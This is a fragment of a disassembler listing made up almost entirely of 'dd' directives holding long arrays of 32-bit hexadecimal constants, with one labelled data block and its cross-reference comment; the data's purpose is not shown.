		dd 2EF87B2Dh, 69465E50h, 0A748C50Dh, 2C6E3AB8h,	0F091B700h
		dd 0ADE1E942h, 5EEC62BDh, 0F6451230h, 9A67F05Ch, 80F04876h
		dd 0BB5FB180h, 4324E145h, 0D5131023h, 22768CC1h, 5F0D2430h
		dd 2F7C21D0h, 0E4123FA5h, 4CE0D8E6h, 6C396E34h,	58862C17h
		dd 7FDB5904h, 0B312FCE9h, 0E824A93Fh, 0F5350405h, 0BE0218F2h
		dd 0CB9B042h, 0E98A0574h, 1EBB878h, 998C55DFh, 0C4F7B7C4h
		dd 591035D1h, 2F4B6CCFh, 2661239Ch, 1139090Eh, 0CA12A980h
		dd 6215C30Bh, 4982440h,	0BA99B55Eh, 80C8C4CEh, 622861C2h
		dd 0FEF06448h, 10AA48F2h, 9848D02Fh, 9E133339h,	54C8C92Ch
		dd 8E4D4E13h, 0C03AC8C8h, 3C887473h, 0BA559A3Eh, 0B78D01B2h
		dd 16DBD4Fh, 0DB49A181h, 39D13BCAh, 79173D64h, 5B56AD00h
		dd 0B06B7586h, 0F81A1C4Ah, 466442E8h, 7C71DFC6h, 2483451Ch
		dd 0F9FB2939h, 74D9A1ADh, 8FCD09EDh, 94766C0h, 1CDE2782h
		dd 8E2068D0h, 5EDC940Dh, 0C8008646h, 9930DFDAh,	6A097663h
		dd 493D6FF8h, 0A6024F44h, 346D84ABh, 0CC7E40C0h, 41B93AA6h
		dd 84465301h, 2A7D7CD0h, 7F233C3Bh, 77872A00h, 17E82993h
		dd 0A8D8394Fh, 8CB380F8h, 6D4F913h, 0CB90096Ch,	0D50B1805h
		dd 7059F4B9h, 0A4F85E68h, 802E04B4h, 3302B43Fh,	60A362B6h
		dd 254C7CCh, 352B2176h,	0AFFF9C3h, 467458F2h, 36AA0062h
		dd 56167EE5h, 251D0BB5h, 0CCF4C420h, 2E62942Ch,	30F168h
		dd 4F3CA3BCh, 0AF740B01h, 91BC9DB5h, 0A3AF803Fh, 4E2E0C9Fh
		dd 2E74E267h, 80AE4E5h,	0C396C479h, 69462821h, 4A640DD4h
		dd 688C8740h, 9AE8123Eh, 2D7600F0h, 0FC44C0E1h,	18F87324h
		dd 86406D64h, 3227F0C7h, 4AAC104Ch, 3C23182Fh, 52E5E809h
		dd 0EF6400A0h, 56332485h, 0D4279A5Dh, 7DB491C5h, 24CEC419h
		dd 3978E423h, 431F1CC4h, 131C2ECEh, 67E3F800h, 0B85D2D65h
		dd 668210D4h, 0BDD3025Eh, 7543D007h, 7311601Fh,	64F5B280h
		dd 860BF6C8h, 0A16D1907h, 0BBC4E80Ch, 5E1A803Dh, 806D180Eh
		dd 0D4B3E2E7h, 0C8795B3Dh, 7528FEDCh, 8603B533h, 0B070B3CEh
		dd 0C4CCA82Dh, 42C49CAAh, 88D30F7Fh, 4BAEDD0h, 0B13B1AE6h
		dd 0C080BC8Fh, 0C4FDAEC6h, 0F4CEBDF4h, 7F674400h, 533A421Bh
		dd 3EB00037h, 6482687Eh, 0D1FCFB0Bh, 0E0D1666Fh, 31D7534h
		dd 4FF8EBh, 0F1559C72h,	685846B5h, 0D2E21B00h, 38C4DC29h
		dd 4EC802C2h, 0D6E4F808h, 0D79604F4h, 811B044Dh, 40083C60h
		dd 0B1488B83h, 8C31E850h, 7E6A6D00h, 3DDADD3h, 3ABC26BEh
		dd 2BB30830h, 0C5C5C30Bh, 617DE418h, 6FCC9C2Bh,	7948C534h
		dd 1C24FA88h, 0C29C67EEh, 0C402D538h, 0B5E4D02Ch, 649D3010h
		dd 27C0CD04h, 22EB115Dh, 30791B94h, 0FC193FF1h,	2202841Ah
		dd 82547B26h, 0C481556Ch, 3F5C89CBh, 9CC31802h,	8BA041C0h
		dd 0B2F4720Dh, 0B9453069h, 4C58AF12h, 0AD1E2C31h, 402BA431h
		dd 0D9C23448h, 0A0BF3FE6h, 0A8A95688h, 0C6DA035Eh, 0F4FA35BBh
		dd 2D3B6B81h, 6A4B1070h, 7A61BBCDh, 9AE3408h, 2C8444EBh
		dd 0CC21406Ch, 220DCDh,	91F3305Ch, 2826F13Ch, 0D56E932Eh
		dd 3FB6837h, 0B93F7D24h, 0B037546h, 8DB0208Dh, 0E0002081h
		dd 0DE4D6A71h, 9D0448EFh, 3C91BC17h, 0E086FB82h, 0FD6C1B5Dh
		dd 81B884BDh, 522C3EB8h, 1B60444Ah, 9AD7E66h, 0A0B92B5Ah
		dd 9CFC58E2h, 1E8B4440h, 0FCE63FFBh, 0BDE57617h, 0E80C2F5Ch
		dd 0F672A4h, 62CA5026h,	0AB86F734h, 0E1743642h,	468082Fh
		dd 0C6B07380h, 3F604E30h, 310F0934h, 0DBC1FECBh, 2F136772h
		dd 42B6027h, 0C2407AC8h, 8391B614h, 7E4F4C1Eh, 0E019338Eh
		dd 0E6AC3041h, 21874F9h, 4545356h, 0F8C827D6h, 7750C407h
		dd 0B79533D4h, 0AB320384h, 3AB042D6h, 1A0045BBh, 3BBA857Fh
		dd 29F1B22h, 200DAC0Eh,	486AB64Ch, 63F08457h, 0EFAAF205h
		dd 0C8840834h, 2912F0BDh, 75108865h, 72645A03h,	98FD77A5h
		dd 8955E6h, 0B36C51FBh,	53C622C3h, 0B116ABE4h, 0BCC2BC5Fh
		dd 0C42CC77Eh, 74DD6031h, 0D6FA0001h, 0FB13BB47h, 150053E2h
		dd 1621B533h, 48736AAEh, 0DF10A84Ah, 2340862Fh,	0A4E54E49h
		dd 0B902AEECh, 98272AE2h, 2CA1839Ch, 18C6A836h,	9749A4Bh
		dd 7CF0B1DDh, 36019C6Eh, 2F5C29E3h, 0D13B64A9h,	32BDD440h
		dd 149820F0h, 3C4C5B3Fh, 23551BC0h, 430F7C88h, 0A77B54BFh
		dd 0FE608D9Ah, 250893D3h, 0CCC4AEA4h, 0FFF73244h, 8DB3D441h
		dd 0C814CE2Eh, 453C180h, 4E1DF45Ch, 8808B8D2h, 0D3E49D59h
		dd 0F2CC85ADh, 0DC7612D0h, 11B0073h, 97C6E611h,	3E880420h
		dd 77C8148Eh, 0FE62AC0h, 21449E81h, 69183128h, 405C086Ch
		dd 3A4A6289h, 0F5218CB2h, 0E8462C02h, 62C50DCh,	241271Eh
		dd 492411F4h, 0A3080CD3h, 63F4163h, 0AC8E3E4Ch,	65C03BC8h
		dd 0B6CA06Dh, 3AF62699h, 8B001079h, 0E28C97AFh,	0EC8409BBh
		dd 0F87CF940h, 68C2E6E0h, 0FB9B05C6h, 0E82D396Fh, 0EC1D80ACh
		dd 89EF92h, 0B02163D1h,	7BB6BAF4h, 23F06201h, 0C8C7555h
		dd 5870AC62h, 4C072E9Dh, 0A29A8DDBh, 0F86AEB87h, 182C21FDh
		dd 1C23D345h, 493065A2h, 227B00C9h, 997ACFCDh, 524A1ABBh
		dd 887C30B0h, 0FE33F18h, 92C08888h, 4870E0Ch, 385FE4DAh
		dd 3B44D9A9h, 70B24C2h,	2C370BE1h, 301E9F80h, 166A67E7h
		dd 0F40A53F8h, 6341A42Ch, 8004CC6Ch, 0E9B4137Bh, 1CCEC48h
		dd 5A57384h, 0C0C8FB9Fh, 54E013DBh, 0BCD39040h,	4D369A4h
		dd 0A8AD9473h, 38038874h, 0C620B24h, 0FD1A7E81h, 0A0239246h
		dd 0F278F24Ah, 8B7B3074h, 0F3296E00h, 0E2FF2537h, 34815EE3h
		dd 88008E90h, 6297C073h, 0A6005519h, 39FA2DEBh,	95C0E7E5h
		dd 97008844h, 9441F95h,	132A45h, 19942539h, 8844A2Bh, 0EA505B17h
		dd 42E200C1h, 7EE05803h, 92001C3Dh, 0B90FA4AFh,	4879A3h
		dd 7742D360h, 0DEEB20CAh, 1C0000BCh, 937E673h, 8A40D763h
		dd 0E7760D1Ch, 2079113Bh, 0BD1C35E4h, 0F4EE2A90h, 0AB574C09h
		dd 41A87693h, 68016F5Dh, 0B7CD4A8h, 0FC0BFA13h,	0C21030C8h
		dd 108B191Bh, 87D350h, 8BD1584Fh, 9AD754F0h, 0C53F269Ch
		dd 4D858034h, 0EC89F987h, 0CA3695Ah, 425E7064h,	54A4A135h
		dd 0CC922580h, 0D22950F0h, 861205Bh, 5910219Bh,	0E7836DA7h
		dd 0D490FBE4h, 318FD0ADh, 0ECF0B46Fh, 5C926B83h, 23C08202h
		dd 0FD2180Ch, 54285D5Eh, 7417959Eh, 1C80BB91h, 34058128h
		dd 0F70970FEh, 0DA87B1CBh, 0E52C0464h, 9BBF2BCFh, 151EC75Ch
		dd 626C9460h, 40F60029h, 3E7D18E6h, 86144A2Dh, 0F806348h
		dd 20745DD2h, 19B492C9h, 0EB8E1AC4h, 5DC0208Bh,	3607AE9Ah
		dd 0A4C5C93Fh
		dd 4421D9C0h, 2E8F1686h, 0EB282025h, 1D39CA4Ah,	0D1BC42h
		dd 0BD36C11Fh, 1A21C8h,	5889066Ch, 318C8BFBh, 24724600h
		dd 490CFEA4h, 0B1A33B3Bh, 6AFCA1CBh, 9F7488h, 0D6A0E4BAh
		dd 0DB50DC5Fh, 0CC016798h, 29E5B1BEh, 142D0C63h, 0C1479107h
		dd 0C030A46Ch, 4C1AEEEEh, 0F4B9B30Ch, 0B0275872h, 62C920D8h
		dd 0B5C488C1h, 8A6E4F30h, 476E844h, 0DF68D10Ch,	0F63C81BCh
		dd 0D710A62Bh, 85811031h, 0BF1B0888h, 3160CB1Ch, 9028DC07h
		dd 3E401B9h, 598F1087h,	54CCCFADh, 1639808h, 18D9FB18h
		dd 30ED3D08h, 8D0F1F0h,	281862BFh, 0BA1F02B8h, 3883BF03h
		dd 2740E608h, 0E9283F63h, 0C4082213h, 98EB1E24h, 0EC705C98h
		dd 7110C6ABh, 243108E7h, 0EC32830h, 0F7C0888h, 9068608h
		dd 30A69557h, 2C2008E1h, 522A338Dh, 0D93E2D50h,	0F08E351h
		dd 3D2018A9h, 0A43C1039h, 0CC963A80h, 0DF610408h, 5D108263h
		dd 9C08109Eh, 0EEB010FDh, 6CAD7D10h, 63593062h,	0CA240804h
		dd 0FC2F1818h, 0C560D908h, 4DBB3988h, 0DD089DD0h, 5DC201CEh
		dd 0F0712088h, 0C891908h, 0B85009A4h, 3742C8A8h, 79F510CFh
		dd 0A851DE08h, 998022Ch, 0C6B1285Bh, 9CDB40C5h,	0A551A459h
		dd 0D2AA3188h, 0DB993318h, 28CD8084h, 0A74B18C6h, 0C1DA3110h
		dd 1CC2D08h, 99998531h,	9008B9C3h, 59183B51h, 0BE3E189Fh
		dd 0D98B08CCh, 202F62B2h, 9C07B6F3h, 0E0480C08h, 0D280CF39h
		dd 5A91809Bh, 38118A81h, 0B9088827h, 0B1C40C0Ch, 0C1C63628h
		dd 5418263Ch, 0A97F9010h, 8C572884h, 66414E76h,	9EB185Fh
		dd 0B5592263h, 24102458h, 0F9DD8C68h, 0D9C98808h, 851422C2h
		dd 329503A0h, 8D7E1010h, 244CED10h, 8C8D504Ah, 105241C8h
		dd 0D5C8A250h, 44E704A4h, 0D90A0A1Dh, 0ECAF95B8h, 44D45D24h
		dd 508604EFh, 83EA706h,	8109583h, 0E8103CEAh, 0A88F1940h
		dd 0F1924B30h, 48C04A47h, 0E92499C8h, 79B98CDDh, 0C4D51055h
		dd 95EABFE9h, 0B260499Ch, 8E809822h, 10A24C03h,	10934A08h
		dd 0B119B935h, 0D6EF28DAh, 0F4598306h, 0CB3D8033h, 4024C181h
		dd 317C9248h, 0F708E939h, 0A9E101C2h, 3298C1A2h, 49303D7Ah
		dd 0D17DECA4h, 3F2FA68h, 58910DAh, 0FEBB1997h, 19950208h
		dd 2019B4D7h, 0C2D108E6h, 9C3002h, 0C3C5B494h, 4101A499h
		dd 34E9D690h, 0BF93874h, 67018E8Dh, 7996D800h, 5D006023h
		dd 1AF40315h, 9AED55D8h, 68D200C4h, 1BF64CB3h, 58F4066Bh
		dd 1D81E948h, 0AB04E087h, 0C8AAE45Eh, 9C789A40h, 221C0700h
		dd 0FDE19A4h, 945660C0h, 0E21E7E4Eh, 0D4232A06h, 1EA0A8A7h
		dd 422C90E6h, 0B38D1AE4h, 0DE0110D2h, 97CE0CFAh, 15F9E5E0h
		dd 0F05018ADh, 729EE0BEh, 28D09917h, 6015E84Eh,	433C28DDh
		dd 341F3B97h, 560C7B2Eh, 122618FBh, 0F04F0B2Dh,	3D1480B4h
		dd 0C28BF33h, 81F3EFE5h, 8B9A02A6h, 0CC3D8775h,	20FD8CC1h
		dd 20CC825Ah, 0F3E588F4h, 22009038h, 0AD9E9DCh,	28016F7Bh
		dd 0E43332C1h, 31815B4Dh, 0BE68E09Fh, 7F11983Ch, 0C341BF40h
		dd 0C18DEB1h, 187A8FE3h, 144CE140h, 8C907C99h, 2CB0DAC0h
		dd 0F68087F2h, 43538060h, 37E832F8h, 566B0B1Ah,	30D28678h
		dd 0C8D42A20h, 393200B8h, 0F33F6DDCh, 8C0E77E8h, 8CB9DDECh
		dd 2DC408FEh, 8C87AFD7h, 0AC062F9Dh, 46001036h,	0A337DF90h
		dd 182E2564h, 68E6DE0Bh, 87024D8Bh, 0D6D47B43h,	0C2840355h
		dd 0F31339C0h, 272D2100h, 6C354FAFh, 0B325189Bh, 1ED4C8D2h
		dd 490F7917h, 14F4CCF0h, 9CCD33BCh, 7C204080h, 501FF70Eh
		dd 0C406E1F3h, 1904A94h, 0E46D342Bh, 48047D1Dh,	0FD00DC90h
		dd 0C0FF444Dh, 805EC9E5h, 589077CEh, 9A876D18h,	3B884EB1h
		dd 6828C4AFh, 0D9B73B70h, 0DC6FB400h, 8B3B7F16h, 0DF8D971Ch
		dd 5B91D1C0h, 0C089CFC4h, 537E9A30h, 2B0270D2h,	6946394Fh
		dd 6A0C40F6h, 9ACD01CEh, 0D8DA537Ah, 0EF8CD02Ch, 0C27C9CF8h
		dd 13E0DD26h, 30D4FA03h, 0E4B8160Ah, 8790788h, 0C8617662h
		dd 6C3AE103h, 0C0BA9A4Ah, 0B0FB11Dh, 0A29F91B2h, 0C41B8B05h
		dd 0D43D814Bh, 0DC498977h, 0FC681218h, 7F4D0250h, 0E680C01Dh
		dd 0E209B3Ah, 23A9D427h, 0C390C380h, 3CC0051Fh,	44373BC4h
		dd 0F16D2CB0h, 27C80848h, 330B290Ch, 398D1042h,	758558D2h
		dd 0FDBDD994h, 9D9703E0h, 9FE84588h, 0C1DC2049h, 0CC54E50h
		dd 8CCD0B28h, 870265A1h, 0BDD4F32Bh, 84044071h,	8F8D1616h
		dd 4A98056Ah, 0D4A004E6h, 94EC7Dh, 3C7ACFCAh, 0F77F514h
		dd 9A439289h, 407B87E7h, 0E2EBDCA4h, 0D630507Eh, 3989119Fh
		dd 7EB00F67h, 0E3C05607h, 0BB72C19Bh, 0C008B0D4h, 51C4277Bh
		dd 21AD811Ah, 6A33E030h, 914810C5h, 0E508A801h,	0A6BE0FCh
		dd 90E64Ch, 7D1FE440h, 904D5BD4h, 0C0F7060h, 7435D36Ch
		dd 349970A4h, 0E26888h,	90DB0D3Fh, 34003E8Fh, 0C6C9EFE6h
		dd 60E0D480h, 128C48D9h, 0CA713B71h, 7CC38D1Ch,	5CF78F40h
		dd 4170E5E4h, 88B44459h, 44290B84h, 0F07D00Eh, 0C4317A7Fh
		dd 0E1015023h, 77D88BDCh, 8E101127h, 4309A022h,	203572h
		dd 17146D04h, 57D04800h, 2D50E5F3h, 88A80126h, 0FE864BBh
		dd 0A0F05781h, 91B562A2h, 1E1C33Ch, 7F1CB7C8h, 34C90B97h
		dd 3A45908Bh, 4F87389h,	6D005CF2h, 0DC8D9B24h, 7A50C976h
		dd 78F3041Bh, 867B61D4h, 4204F808h, 0F40BA9DEh,	81234492h
		dd 0D47948F8h, 0B88208C1h, 4DB3B13Fh, 0DF8CD0A2h, 33BEF400h
		dd 1039C2D3h, 0C63C6CAh, 3D10D460h, 0D24164C4h,	71880190h
		dd 202B3298h, 0B400AF2Bh, 85955DDAh, 7DCB33B3h,	0D420F3E3h
		dd 0C2D89225h, 0E8F50B60h, 17396A00h, 0D8901E87h, 0D4E903BAh
		dd 0C80341F8h, 2695B332h, 3D37A09Ah, 8D8800F7h,	0BB507294h
		dd 8098E665h, 189D415h,	7A048FCh, 4842CCF4h, 634BC30h
		dd 394C0095h, 0BDA10E5h, 0AD20D44Dh, 15DC397Eh,	0A0CB9400h
		dd 2738BA0Dh, 0F4520418h, 918A13F0h, 300139C4h,	0A70B6293h
		dd 0AFCD001Fh, 0CE330059h, 96CFFB4Dh, 326905D4h, 8CD42A88h
		dd 0E08B1Eh, 9C8C9073h,	5C46136Fh, 0B075F626h, 392D7482h
		dd 3C30602Bh, 3198C06Ah, 2851D3B3h, 5074DF4Dh, 15003F98h
		dd 8A6AD695h, 1D085Ch, 0B9284182h, 23DA0B35h, 2D3AA8A8h
		dd 0C92A2E04h, 9480399Dh, 39EEF4D2h, 0AC81DB4Eh, 43BAC589h
		dd 0EB34EC1Ah, 160F107Ch, 0FB54945h, 2C3640CEh,	2E327FFh
		dd 0C4226AE7h, 4800D1B4h, 586B470Ch, 6018901Bh,	3369F1CCh
		dd 7C39E81Dh, 12E84C79h, 7F00D4B4h, 0A8E4C697h,	40065E2Ch
		dd 77E65C64h, 0E024789Ah, 0AD0B4CDDh, 40B00F3Ch, 29C4AC9Fh
		dd 6AA89274h, 46D4F8EFh, 0DE0B98B3h, 213E0CF9h,	31324D24h
		dd 0E0B4C13Bh, 27EC202Ch, 4A0A1FFAh, 0F421D3CBh, 0C57BDA00h
		dd 7A8A0D83h, 0C208A82Ah, 878C2432h, 6EE59F78h,	0A64C8010h
		dd 540CEB33h, 24130873h, 48202229h, 0B2E6DA0Dh,	163AE5C8h
		dd 6F4820F4h, 460055E0h, 3A640D8Dh, 0EF0B16h, 0F5B308C6h
		dd 75F15C22h, 33AADE00h, 0D5179C9Fh, 0D44C268Ch, 19C23A2Ch
		dd 9A71C2C4h, 0E20B9450h, 0E1D20AC7h, 6B4F26Ah,	30386E68h
		dd 0B10884B1h, 0B3D40524h, 0D0C010E6h, 48FD7BC6h, 0D5B4F8A0h
		dd 0C9FDC889h, 0C4183908h, 4578B703h, 488A5490h, 33934086h
		dd 17DBE73Ah, 380B16F4h, 3A1303C3h, 3FF2E3ABh, 0BB258088h
		dd 41091411h, 47689A30h, 81D08CFCh, 285C2449h, 8D2A9CF2h
		dd 0B87A38D5h, 958E4082h
		dd 759A01ADh, 798C393Ch, 68E8D24Ah, 883EBA0Eh, 103534A4h
		dd 80A81CC7h, 13DBBC9Ah, 2D00534Eh, 0D305E4Dh, 9A9BE877h
		dd 9379C0C4h, 220B678Dh, 51382F60h, 17BD7F95h, 4E33D473h
		dd 4E8514B8h, 82E4C3DDh, 0A7E00084h, 16F9A436h,	410C8327h
		dd 0F7E87BE4h, 43390052h, 10225CFEh, 3394DEC8h,	5CD4E090h
		dd 4CBAD6h, 922C9BE9h, 0F10AE5BAh, 0C400489Ah, 49AE223Eh
		dd 2AF9D33h, 0D443EF40h, 0B0482D20h, 6037FFEh, 7768A04Ch
		dd 3F60C0DCh, 284217A4h, 8D410C7h, 0A7D47204h, 2E14811Bh
		dd 67702325h, 15850BD8h, 876D3CD1h, 493A52F9h, 4CF84C38h
		dd 70C42609h, 0B3340093h, 18636D7Ch, 30758646h,	3B6080E8h
		dd 42149EB9h, 0F7277329h, 0B1D48C20h, 38D508C0h, 0AA8B7C1Eh
		dd 0C4FCE062h, 8F63050Ch, 124224EDh, 0CC141EF0h, 26204E21h
		dd 5D96D202h, 60DE7D71h, 0F2D476A8h, 6858C0AEh,	0ADE2C559h
		dd 7DCFCB3Eh, 2D6E40h, 71F45744h, 0C3BC2E53h, 5C00AF75h
		dd 220C64D9h, 1AC28D1Dh, 307DA8D4h, 252044CEh, 9FF20B5Ah
		dd 981443E0h, 9167D478h, 5A902C80h, 0A80237h, 3334B70Dh
		dd 631DFEC6h, 0C5CC7002h, 41DA4ECFh, 1860FDD5h,	697B60C1h
		dd 46244DA0h, 707F6712h, 0D54F054h, 11257168h, 605AF083h
		dd 0CCD51E43h, 0F70C1840h, 28056BE5h, 2A621D53h, 52C12C8h
		dd 40FE1CFCh, 0C2A099C8h, 0B304CADBh, 5F4FD49Eh, 0E5C48301h
		dd 288064AEh, 0CF4DE14h, 20403188h, 0E860D88Eh,	0C8290462h
		dd 91CB6651h, 17E05D8h,	0A8208E46h, 73E113F3h, 4D79002Bh
		dd 0A19FB183h, 94259800h, 0CA0BCD02h, 5072FF92h, 35F0A328h
		dd 860908Eh, 0B05379Ch,	8C037417h, 94BBD477h, 0CD3EECB7h
		dd 8D8C5A06h, 85415096h, 803B3460h, 0B3784C72h,	1040AC32h
		dd 2BDC609Fh, 0CFCA18EDh, 584331C0h, 0D766D901h, 78FAD44Bh
		dd 120024h, 805224CAh, 0AA51DB90h, 3D44163Eh, 73568F1Ah
		dd 0F8C3804Dh, 13858296h, 1272E481h, 12C2584h, 0BB83429Ch
		dd 6B7C20DFh, 66C82B00h, 3805CF33h, 0D41C0CCAh,	37D8104Ch
		dd 66A20B3Dh, 708DA8h, 7CF0B6F4h, 9ACC72E9h, 7F13E000h
		dd 26962BA9h, 604EC12h,	0EA0B893Fh, 7518386Ah, 6D0B694h
		dd 304E053Bh, 0D53645D4h, 1E9C9194h, 0A4E0AC4Ah, 89A7CA8Bh
		dd 30180A7Ch, 240BB583h, 68500930h, 3C1855B9h, 0CA5814E5h
		dd 0A42B2A20h, 0D4433F2Ch, 0BC404647h, 0B2D528C4h, 7EC60018h
		dd 0CC43C74Dh, 1E09ADCDh, 89B32EA8h, 0D49CA29Ch, 340542Bh
		dd 20C90B2Dh, 0F737C97Ch, 0CEA01892h, 17A9B790h, 73E6F4h
		dd 0ABF17D5Ch, 0D100CF46h, 71CBC05Eh, 98F7C9Dh,	0ED0B58D7h
		dd 7E85EC41h, 8397D880h, 0BCB8965Ch, 4014597Eh,	944B6882h
		dd 93164079h, 0EC8B4812h, 690AD40Ah, 8F04ACA0h,	9C1378A0h
		dd 877F6528h, 0E0F1CF16h, 6C985012h, 29513B80h,	68220F27h
		dd 847BC2F1h, 0DEE59830h, 36538087h, 49ECC007h,	4D41D8C3h
		dd 0F3707BAEh, 16E8B8ACh, 3FD83BDh, 8E4FB7DCh, 0B50BC00Ah
		dd 778AE4EDh, 7E837056h, 989C6C07h, 0C9554486h,	0C4032B99h
		dd 0D827A8E6h, 9C24008Ch, 0CC0E1Dh, 0DA19FCC6h,	22F8A346h
		dd 532BC417h, 0EC85450h, 8BC1E2A8h, 60D80EC3h, 91D0C0ABh
		dd 0C97C50A7h, 241C3A5Bh, 1A103058h, 64354F56h,	74B6D080h
		dd 0D57CF8h, 6897178Eh,	0EFC31A7Bh, 784C515Fh, 4167A184h
		dd 5A0C605Eh, 0B00C5540h, 0B099F414h, 9DCB264Ch, 8DE30043h
		dd 17CC5D8Ch, 224BC4F0h, 0E633AC00h, 4CEC4656h,	0F801CC69h
		dd 457E610Bh, 2E9C2C8Ah, 0B58C5888h, 7D90B1F4h,	8B7C012Ah
		dd 23E5E759h, 780C6304h, 780D752Eh, 80787090h, 0F8836F7Ah
		dd 9F20C423h, 9ABF0C80h, 73341694h, 9CC27086h, 6D0E84Bh
		dd 3A690547h, 925AC198h, 4841357Ch, 5014272Eh, 0ED7F68CCh
		dd 884098B4h, 18C6E38Ah, 187152E5h, 0D24FC425h,	0E2F30080h
		dd 0A709850h, 922763F7h, 0A22807C4h, 0E3E4E114h, 3394208Bh
		dd 9834CC50h, 0B706207Ah, 19C5C480h, 0E8420B48h, 2C20039Fh
		dd 0D6662A2h, 80334C3Dh, 0C717FD8Ah, 0A253ECD4h, 0FDE8E6D4h
		dd 986412F1h, 9142DE4h,	1400641Ah, 0DA28E8CBh, 502438F1h
		dd 41010BB8h, 0C40E924Fh, 480230BAh, 0DE82A051h, 40CE0CF3h
		dd 1FD474A0h, 240F6CA6h, 802BE4E4h, 906E8338h, 0D61E4372h
		dd 3C4ED9E2h, 8A77AE5Ch, 0C2835814h, 0CCC7C424h, 28E69490h
		dd 0B28BF27Ch, 751F2038h, 0C8261C91h, 4C7B370Ah, 0D1B9F2D3h
		dd 661E8068h, 0EDDC7E31h, 584EDE03h, 0E1A29F8Ah, 0A470C3E9h
		dd 0FD8E000Fh, 3E533D1h, 141E2661h, 0CD14B44Ch,	2E220608h
		dd 8030F32Bh, 0A0EB3360h, 0D27FCE7Ch, 57044980h, 4494CC7Ah
		dd 580CDE12h, 0B28EC0A3h, 0E29C0E18h, 1180C697h, 0BDC28C0Eh
		dd 2ADE8D02h, 584CCDA5h, 73D413ECh, 0E08489D2h,	10C0D111h
		dd 4C8A50E3h, 86695AC4h, 540544A8h, 5EE59CCEh, 3D1498E8h
		dd 0D40A84E6h, 9224C0CDh, 8D700EF2h, 0A49EA434h, 407EB80h
		dd 0C0818E93h, 3C9CCC75h, 626D84F0h, 0C4AB2500h, 18C0DA21h
		dd 28D495A3h, 3128CF5Dh, 0DCAE8841h, 14D032F9h,	5380879h
		dd 0CE71115Ch, 0C674980Bh, 0FE0B18A4h, 0C67D3027h, 247002BFh
		dd 0C23442E2h, 1F5C1B50h, 197C6D1h, 0F5C43C78h,	0A148AD02h
		dd 0B452B134h, 0A4B2F2F3h, 0CC20CADCh, 56E9BEC1h, 0AD62D018h
		dd 55DAF289h, 54706C0Bh, 67F67616h, 7C61E4C9h, 41D09420h
		dd 0E0F42138h, 9BF8B344h, 0C4F0ED50h, 0E32525h,	9498F8E8h
		dd 7989074Ah
dword_4E414C	dd 0C0554E2Ah, 0F444D776h, 8046AA3Eh, 0CDC9CA36h, 5D0B59D6h
					; DATA XREF: ___:off_43A188o
		dd 8501180Dh, 5D68C4DFh, 6710304Ch, 139F5320h, 0D04571D4h
		dd 0C4CCFDF0h, 0EE183902h, 0C8F30B91h, 14CA77D0h, 0A879BEA8h
		dd 0BFC1D483h, 25ACF844h, 0E5087C64h, 0F211BF82h, 41289030h
		dd 6015E153h, 35485884h, 301F5A64h, 940B9E16h, 0E5D43005h
		dd 0A00E6BABh, 0D28D8420h, 460F4A2Dh, 0AFD8437h, 3800088Ah
		dd 0A22CF327h, 0D20D03B9h, 0E7260B40h, 0D5904805h, 90E09A99h
		dd 24D498CCh, 0C68E0E5h, 0CAF86776h, 2DEFCE7Ah,	24A724E8h
		dd 0C4E8AB44h, 9B5DD10h, 10685744h, 4EE1D3CCh, 789429E0h
		dd 343D1D04h, 81295280h, 28D46873h, 0E8E917h, 0B290AA0Eh
		dd 575D4E44h, 76CD8300h, 0E845C069h, 0FD84F3Dh,	0D001B504h
		dd 403367AFh, 202F3092h, 0E9BDBC03h, 0F648D4F6h, 0D1E66270h
		dd 868EE03h, 0CC001312h, 91A42EC9h, 48A0D359h, 7A0270F2h
		dd 5843B9F4h, 0A10F1C71h, 0BD06807Bh, 22859E0h,	68D6E9DCh
		dd 2860A7BFh, 93EC6CD8h, 0CF332707h, 2CD07150h,	1A9CACCh
		dd 0B346CB87h, 248BD492h, 2B094058h, 3867F2CEh,	161E9CB4h
		dd 803AD413h, 0BD2229ACh, 0DD999E03h, 431D985h,	0F748E598h
		dd 9A44800Dh, 733D786Ch, 2D4E80F3h, 3C95AD26h, 9D4DF0BFh
		dd 184A2C09h, 0FD2C9040h, 30A6F124h, 0FCDAC48Ah, 54DB5C80h
		dd 0E04673h, 922B338Eh,	0DEF3C426h, 0CD04E892h,	77124CDBh
		dd 0E91854C3h, 0E831019Fh, 7C3DF330h, 0F69FA39h, 0A3755577h
		dd 0E508FC75h, 0BA0B4A45h, 0C7B44087h, 0EDDB80E3h, 0B1910107h
		dd 4C39DF45h, 0B05B4BECh, 9B7E740Ch, 0D213893Ch, 4A9C4868h
		dd 0DC90B4BCh, 380B9909h, 0AC34887Fh, 20988EC9h, 0DB6DF30h
		dd 0B320BC7h, 8CA031E4h, 6BF958Fh, 2F335A3Eh, 856400C9h
		dd 4CABC4D3h, 7C092C9Bh, 0C4DA0480h, 750AECE8h,	0A07EC440h
		dd 4264D780h, 4A8B88B3h, 4D28C065h, 21597E43h, 6D241EBCh
		dd 91C7404h, 4088F087h,	695E153Fh, 0B314E0Dh, 302CC14Ah
		dd 0AD139C59h, 791C46E0h, 260790A0h, 7DB0FFCAh,	29C2BED7h
		dd 18E4A988h, 806E2010h, 9B02123Eh, 0B647E77h, 925C7852h
		dd 794304B0h, 807CC0D4h, 0C681338h, 0F300B273h,	298873E8h
		dd 7085F033h, 696494E9h, 23216400h, 0A65CE7BFh,	8A0D17FCh
		dd 473794D0h, 222AE390h, 4C88FFD8h, 0D9881BB7h,	7CD2FDE2h
		dd 56546812h, 8320489h,	449AE50Ch, 0C4122118h, 48408101h
		dd 52662FEFh, 9AD41925h, 683F6857h, 5E1600B0h, 215C7750h
		dd 650939B3h, 83253CDCh, 0F1435090h, 912CAA0Eh,	1B04C522h
		dd 6D0CD441h, 0AC6018E3h, 877B0233h, 0A7A5C181h, 0D4D3C0C8h
		dd 16081520h, 4B46FB43h, 78207464h, 4134B2DDh, 87262808h
		dd 0B3602E1h, 20419392h, 0AC666072h, 6B80E518h,	260790h
		dd 25606DCBh, 9DCCFEE9h, 0BA069600h, 62E63382h,	556302BCh
		dd 3C35B793h, 8F0AC85Bh, 0C44BA885h, 544F0058h,	2A29366Ch
		dd 629716D4h, 0B040DABCh, 5FB4A658h, 1D941F56h,	53F8013Fh
		dd 3E280B2Dh, 0C67F1404h, 2ECDE491h, 8F253863h,	0B0211085h
		dd 0D63C8DF0h, 387A8739h, 8E85C15Ch, 44360801h,	0C6835E8h
		dd 0BA808C3Fh, 9FE4B38Dh, 594F9593h, 88E6401Dh,	978443E4h
		dd 9B92B042h, 0D370E95Ch, 10E9F4h, 6D77BD13h, 4AF0F356h
